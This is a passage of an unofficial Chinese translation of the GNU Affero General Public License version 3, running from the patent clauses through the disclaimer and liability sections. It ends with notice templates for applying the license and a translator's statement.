如果依照或根据某一交易或安排,您传递或通过促成传递而传播被覆盖作品,并向接收被覆盖作品的某些当事方授予专利许可,以授权他们使用、传播、修改或传递被覆盖作品的特定副本,那么您授予的专利许可将自动扩展到被覆盖作品和基于该作品的作品的所有接收者。 186 | 187 | 如果某一专利许可在其覆盖范围内未包含本许可证具体授予的一项或多项权利、禁止行使前述权利、或以不行使前述权利为条件,则该专利许可是 "歧视性的"。如果您与第三方达成有关软件分发的某一安排,根据该安排,您为您传递作品的范围向第三方付款,且据此安排第三方向任何从您处接收所覆盖作品的当事方授予:(a)与您传递的所覆盖作品的副本(或基于这些副本制作的副本)相关联的歧视性的专利许可,或者(b)主要是为包含所覆盖作品的特定产品或汇编而作出且与之相关联的歧视性的专利许可,则您不能传递所覆盖作品,除非在 2007 年 3 月 28 日之前您已达成了该安排,或已授予该专利许可。 188 | 189 | 本许可证中的任何内容都不应被解释为排除或限制您根据适用的专利法可能得到的任何默示许可或其他侵权抗辩理由。 190 | 191 | ### 12. 不得牺牲他人的自由 192 | 193 | 如果您被施加的条件(无论是通过法院命令、协议或其他方式)与本许可证的条件存在矛盾,这也不能成为您不履行本许可证条件的借口。如果您在传递被覆盖作品时,不能同时满足本许可证下的义务和任何其他相关义务,则您不得传递它。例如,如果您同意了某些条款,其使您有义务对接收您传递的本程序的人的进一步传递行为收取许可费,那么您能够满足那些条款和本许可证的唯一方法是完全避免传递本程序。 194 | 195 | ### 13. 远程网络交互;和 GNU 通用公共许可证一起使用 196 | 197 | 尽管本许可证存在其他条款,如果您修改本程序,您的修改版本必须以显著的方式让通过计算机网络与本程序远程交互(如果您的版本支持这种交互)的所有用户,以便于复制软件的标准或通常方式,从网络服务器上免费获取您的版本的对应源代码。对应源代码应当包含根据下一段规定纳入的、受 GNU 通用公共许可证第三版覆盖的任何作品的对应源代码。 198 | 199 | 尽管本许可证存在其他条款,您有权将任何被覆盖作品与 GNU 通用公共许可证第三版下许可的作品进行链接或组合为单一组合作品,并传递由此产生的作品。本许可证的条款将继续适用于被覆盖作品,但与之组合的原作品仍将受 GNU 通用公共许可证第三版的约束。 200 | 201 | ### 14. 本许可证的修订版 202 | 203 | 自由软件基金会可能会不时发布 GNU Affero 通用公共许可证的修订版和/或新版本。这些新版本在精神上与当前版本相似,但在细节上可能有所不同,并旨在解决新的问题或关注点。 204 | 205 | 每个版本都有一个不同的版本号。如果本程序指定其适用 GNU Affero 通用公共许可证的某个特定版本“或任何后续版本”,您可选择遵循该编号版本或自由软件基金会发布的任何后续版本的条款和条件。如果本程序没有指定 GNU Affero 通用公共许可证的版本号,您可以选择自由软件基金会曾经发布的任何版本。 206 | 207 | 如果本程序指定代理方来决定使用 GNU Affero 通用公共许可证的哪个未来版本,那么该代理方接受某个版本许可证的公开声明即永久授权您在本程序中选择该版本。 208 | 209 | 后续许可证版本可能给您额外或不同的许可。但任何作者或版权持有人都不因您选择遵循后续许可证版本而承担额外义务。 210 | 211 | ### 15. 免责声明 212 | 213 | 在适用法律允许的范围内,本程序没有任何担保。除非另有书面说明,否则版权持有人和/或其他各方“按原样”提供本程序,而不提供任何明示担保或默示担保,包括但不限于对适销性和特定目的适用性的默示担保。关于本程序的质量和性能的全部风险皆由您承担。如果本程序确有缺陷,您将承担所有必要的服务、维修或修正的费用。 214 | 215 | ### 16. 责任限制 216 | 217 | 在任何情况下,除非适用法律要求或经书面同意,否则任何版权持有人或任何其他按照上述许可修改和/或传递本程序的一方皆不对您的损失负责,包括因不再使用或无法使用本程序而引起的任何一般的、特殊的、偶然的或继发性的损失(包括但不限于数据丢失或数据偏差造成的损失、或本程序无法与任何其他程序一起运行使您或第三方遭受的损失),即便该持有人或其他人已被告知此种损失的可能性。 218 | 219 | ### 17. 对第 15 条和第 16 条的解释 220 | 221 | 如果以上规定的免责声明和责任限制不能根据其条款在当地产生法律效力,除非本程序副本附带收费的担保或担责承诺,否则审理法院应适用与"绝对放弃与本程序有关的一切民事责任"最为接近的当地法律。 222 | 223 | **条款与条件结束** 224 | 225 | --- 226 | 227 | ## 如何在您的新程序中应用本条款 228 | 229 | 如果您开发了一个新程序且您希望其最大限度地为公众所用,实现这一目标的最好方式就是使它成为自由软件,以使每个人都可以在这些条款下重新分发和修改。 230 | 231 | 为此,请在该程序中附上以下声明。最安全的做法是将它们附在每个源文件的头部,以便最有效地声明没有担保;每个文件至少应有“版权”行和完整声明位置的指向。 232 | 233 | 234 | Copyright (C) 235 | 236 | This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. 237 | 238 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. 239 | 240 | You should have received a copy of the GNU Affero General Public License along with this program. If not, see . 241 | 242 | <用一行字来说明程序名称及用途简介。> 243 | 版权所有 (C) <年份><作者姓名> 244 | 245 | 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 246 | 247 | 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 248 | 249 | 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 250 | 251 | 此外,还应增加如何通过电子邮件或纸质信件联系您的信息。 252 | 253 | 如果您的软件可以通过计算机网络与用户远程交互,您还应该确保该软件为用户提供了获取其源代码的方式。例如,如果您的程序是网页应用,可使其界面显示一个“源代码”链接,引导用户获得源代码的存档。提供源代码的方式可以有多种,不同的程序适合不同的方式;具体要求见第 13 条。 254 | 255 | 如有必要,您还应让您的雇主(如果您是程序员)或学校(如有)就本程序签署一份“版权不主张声明”。更多相关信息以及如何适用和遵守 GNU AGPL,请参见:http://www.gnu.org/licenses/ 。 256 | 257 | --- 258 | 259 | > _译文声明:本中文译文系基于 GPLv3 译文审定稿及 Peaksol、王荷舒、欧轩琦、赵振华对于 AGPLv3 的译文投稿,于 20231021 经卫 sir、沈芬律师、徐美玲助理教授就 AGPLv3 对于 GPLv3 的增量条款的四份译本审定而成。本译文按照 CC0 授权您使用、复制及传播等。但也请您注意,本译文并非官方译文,仅为便于阅读、理解、研讨而翻译,开放原子开源基金会不提供与本译文相关的任何明示或默示担保。AGPL 许可证第 3.0 版的原文请见https://www.gnu.org/licenses/agpl-3.0.en.html_ 260 | --------------------------------------------------------------------------------